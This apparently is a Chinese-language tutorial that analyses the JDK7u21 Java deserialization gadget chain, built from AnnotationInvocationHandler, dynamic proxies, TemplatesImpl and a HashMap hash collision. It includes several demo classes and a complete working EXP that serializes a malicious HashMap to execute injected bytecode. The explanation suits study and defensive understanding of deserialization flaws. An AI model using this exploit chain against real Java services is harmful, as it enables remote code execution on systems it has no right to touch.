jdk7u21原生反序列化 这条利用链是JDK7u21,它适用于Java 7u21及以前的版本。
漏洞核心 漏洞核心在于sun.reflect.annotation.AnnotationInvocationHandler的equalsImpl方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 private Boolean equalsImpl (Object var1) { if (var1 == this ) { return true ; } else if (!this .type.isInstance(var1)) { return false ; } else { Method[] var2 = this .getMemberMethods(); int var3 = var2.length; for (int var4 = 0 ; var4 < var3; ++var4) { Method var5 = var2[var4]; String var6 = var5.getName(); Object var7 = this .memberValues.get(var6); Object var8 = null ; AnnotationInvocationHandler var9 = this .asOneOfUs(var1); if (var9 != null ) { var8 = var9.memberValues.get(var6); } else { try { var8 = var5.invoke(var1); } catch (InvocationTargetException var11) { return false ; } catch (IllegalAccessException var12) { throw new AssertionError (var12); } } if (!memberValueEquals(var7, var8)) { return false ; } } return true ; } }
在这个方法中,存在一个对方法的反射调用var5.invoke(var1),var1来自参数,var5则是遍历this.getMemberMethods()方法返回的方法数组。
1 2 3 4 5 6 7 8 9 10 11 12 13 private Method[] getMemberMethods() { if (this .memberMethods == null ) { this .memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction <Method[]>() { public Method[] run() { Method[] var1 = AnnotationInvocationHandler.this .type.getDeclaredMethods(); AccessibleObject.setAccessible(var1, true ); return var1; } }); } return this .memberMethods; }
AnnotationInvocationHandler.this.type.getDeclaredMethods()会获取当前的type属性的所有方法。对于java自带的类,我们可以优先考虑到TemplatesImpl链,也就是如果type中仅有触发TemplatesImpl链的方法,那么就可以用equalsImpl函数来反射走到TemplatesImpl链。我们可以用到Templates接口类,该类的两个方法newTransformer和getOutputProperties都可以作为TemplatesImpl链的触发方法。
利用动态代理调用equalsImpl equalsImpl在AnnotationInvocationHandler中作为一个私有方法,我们无法直接去调用,但是,我们可以在AnnotationInvocationHandler唯一的公共方法,invoke中调用equalsImpl。
1 2 3 4 5 6 7 8 public Object invoke (Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals" ) && var5.length == 1 && var5[0 ] == Object.class) { return this .equalsImpl(var3[0 ]); } ...... }
关于如何调用到AnnotationInvocationHandler#invoke方法其实并不陌生,这是动态代理的基础知识。我们可以构造一个动态代理Proxy,通过调用这个代理的方法来触发invoke,不过我们需要通过一次判断,也就是调用这个代理的方法必须是equal方法,并且需要有一个Object对象作为参数
可以看到的是,我们给equalsImpl的参数是调用动态代理方法的第一个参数,那么我们满足的条件是
AnnotationInvocationHandler的type属性是Templates接口类
调用构造的AnnotationInvocationHandler动态代理的equal方法
equal方法的第一个参数是恶意TemplatesImpl类
可以编写一个简单的demo来完成上面的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.xml.transform.Templates;import javax.xml.transform.TransformerConfigurationException;import java.io.*;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class demo { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException { TemplatesImpl templates = new TemplatesImpl (); byte [] evil = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\java_payload\\jdk7u21.class" )); byte [][] evilcode = {evil}; Field name = templates.getClass().getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"cmisl" ); Field bytecodes = templates.getClass().getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates,evilcode); Field tfactory = templates.getClass().getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); HashMap<String, Object> hashMap = new HashMap <>(); hashMap.put("cmisl" ,"cmisl" ); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class,Map.class); declaredConstructor.setAccessible(true ); Object o = declaredConstructor.newInstance(Templates.class,hashMap); Map ProxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Map.class}, (InvocationHandler) o); ProxyMap.equals(templates); } }
要注意的是jdk7u21类需要实现AbstractTranslet接口
1 2 3 4 5 6 7 _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass();if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; }
在TemplatesImpl#defineTransletClasses方法中会判断字节码反编译出的恶意类的父类是否等于ABSTRACT_TRANSLET,其值等于com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。
调用代理实例ProxyMap的equals方法 根据上面分析,我们需要调用代理实例ProxyMap的equals方法,这个方法每个类都有,用于比较是否相等,来自于所有类的父类Object。
我们常见的一个场景,在HashMap的put方法中,可以看到equals方法的身影,因为HashMap是一个类似链表数组的结构,当索引值相等的时候,会在那一个索引下的链表里遍历比较要put的这个key和链表中已经存在的key是否相等,这里就会调用equals方法去判断。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public V put (K key, V value) { if (key == null ) return putForNullKey(value); int hash = hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null ; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this ); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null ; }
在上面的代码中,索引值是i,基于hash值和table.length值计算,不过table.length在开始会设置为16,只要我们hashMap里面元素不超过16个就不会变。因此,我们需要做的就是让hash值相等。我们来关注一下计算部分的实现代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 final int hash (Object k) { int h = 0 ; if (useAltHashing) { if (k instanceof String) { return sun.misc.Hashing.stringHash32((String) k); } h = hashSeed; } h ^= k.hashCode(); h ^= (h >>> 20 ) ^ (h >>> 12 ); return h ^ (h >>> 7 ) ^ (h >>> 4 ); }
除了k.hashCode(),其他都是固定的。我们现在要做的就是让,ProxyMap.hashCode()和templates.hashCode()相等。而ProxyMap.hashCode()会自动调用到AnnotationInvocationHandler#invoke方法,然后在调用到hashCodeImpl方法。
1 2 3 4 5 6 7 8 9 10 private int hashCodeImpl () { int var1 = 0 ; Map.Entry var3; for (Iterator var2 = this .memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Map.Entry)var2.next(); } return var1; }
会循环遍历当前memberValues,简化一下式子就是计算每个key和value的(127 * key.hashCode()) ^value.hashCode(),然后累加,如果memberValues 中只有一个key和一个value时,该哈希就等于 (127 * key.hashCode())^value.hashCode(),而如果key.hashCode(),哈希又可以简化成value.hashCode(),如果这个value就是我们构造的恶意TemplateImpl对象templates,那么就可以使得ProxyMap.hashCode()和templates.hashCode()相等。
所以我们需要的是让memberValues为一个只有一个键值对,且键的hashCode等于0,value为templates,即可。这个键要等于f5a5a608,这个memberValues是我们构造函数传入的hashmap,不过我们需要提前用其他值占据value的位置,在将ProxyMap放进了我们的恶意HashMap后,在替换回来,避免在ProxyMap放入的过程中,提前调用equals进入TemplatesImpl链。
那么我们可以编写一个小demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.xml.transform.Templates;import javax.xml.transform.TransformerConfigurationException;import java.io.*;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class demo3 { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException { TemplatesImpl templates = new TemplatesImpl (); byte [] evil = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\java_payload\\jdk7u21.class" )); byte [][] evilcode = {evil}; Field name = templates.getClass().getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"cmisl" ); Field bytecodes = templates.getClass().getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates,evilcode); Field tfactory = templates.getClass().getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class,Map.class); declaredConstructor.setAccessible(true ); HashMap hashMap = new HashMap (); hashMap.put("f5a5a608" ,"cmisl" ); Object o = declaredConstructor.newInstance(Templates.class,hashMap); Map ProxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Map.class}, (InvocationHandler) o); hashMap.put("f5a5a608" ,templates); HashMap evilmap = new HashMap (); evilmap.put(templates,null ); evilmap.put(ProxyMap,null ); } }
另一种方式调用equals方法 在上面介绍了HashMap.put这个方法,但是这里,我并不打算调用这个方法。在HashMap的另一个方法——HashMap#putForCreate
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private void putForCreate (K key, V value) { int hash = null == key ? 0 : hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null ; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || (key != null && key.equals(k)))) { e.value = value; return ; } } createEntry(hash, key, value, i); }
这个方法逻辑与我们HashMap.put几乎差不多,上面put能实现的demo用putForCreate也可以,只是是私有方法,需要反射调用,将上面demo修改一下即可。
1 2 3 4 5 6 7 8 9 evilmap.put(templates,null ); evilmap.put(ProxyMap,null ); Method putForCreate = HashMap.class.getDeclaredMethod("putForCreate" , Object.class, Object.class);putForCreate.setAccessible(true ); putForCreate.invoke(evilmap,templates,null ); putForCreate.invoke(evilmap,ProxyMap,null );
为什么我想到用这个方法呢,因为这个方法在HashMap#readObject函数中调用了。我们来看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException ("Illegal load factor: " + loadFactor); Holder.UNSAFE.putIntVolatile(this , Holder.HASHSEED_OFFSET, sun.misc.Hashing.randomHashSeed(this )); s.readInt(); int mappings = s.readInt(); if (mappings < 0 ) throw new InvalidObjectException ("Illegal mappings count: " + mappings); int initialCapacity = (int ) Math.min( mappings * Math.min(1 / loadFactor, 4.0f ), HashMap.MAXIMUM_CAPACITY); int capacity = 1 ; while (capacity < initialCapacity) { capacity <<= 1 ; } table = new Entry [capacity]; threshold = (int ) Math.min(capacity * loadFactor, MAXIMUM_CAPACITY + 1 ); useAltHashing = sun.misc.VM.isBooted() && (capacity >= Holder.ALTERNATIVE_HASHING_THRESHOLD); init(); for (int i=0 ; i<mappings; i++) { K key = (K) s.readObject(); V value = (V) s.readObject(); putForCreate(key, value); } }
在最后可以看到我们反序列化是会将key和value值分别反序列化出来,然后用putForCreate(key, value)函数将反序列化出来的键值对给添加到HashMap中。那么就可以直接从反序列化的入口走到equals。接下来我们编写EXP。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.xml.transform.Templates;import javax.xml.transform.TransformerConfigurationException;import java.io.*;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class EXP { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException { TemplatesImpl templates = new TemplatesImpl (); byte [] evil = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\java_payload\\jdk7u21.class" )); byte [][] evilcode = {evil}; Field name = templates.getClass().getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"cmisl" ); Field bytecodes = templates.getClass().getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates,evilcode); Field tfactory = templates.getClass().getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class,Map.class); declaredConstructor.setAccessible(true ); HashMap hashMap = new HashMap (); hashMap.put("f5a5a608" ,"cmisl" ); Object o = declaredConstructor.newInstance(Templates.class,hashMap); Map ProxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Map.class}, (InvocationHandler) o); hashMap.put("f5a5a608" ,templates); HashMap evilmap = new HashMap (); evilmap.put(ProxyMap,null ); evilmap.put(templates,null ); serialize(evilmap); deserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object deserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
ysoserial上用的是HashSet作为入口,更具体一点事LinkedHashSet,原理其实差不多,从HashSet#readObject到HashMap#put。